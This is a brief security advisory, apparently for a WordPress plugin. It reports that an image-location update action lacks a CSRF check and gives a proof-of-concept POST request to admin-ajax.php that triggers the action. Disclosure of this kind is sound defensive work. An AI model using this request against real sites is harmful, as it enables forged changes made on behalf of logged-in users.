The plugin does not have Cross-Site Request Forgery (CSRF) check when updating an image location, which could allow attackers to make logged in users perform such action via a Cross-Site Request Forgery (CSRF) attack.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=sunshine_update_image_location&image_id=1&gallery_id=1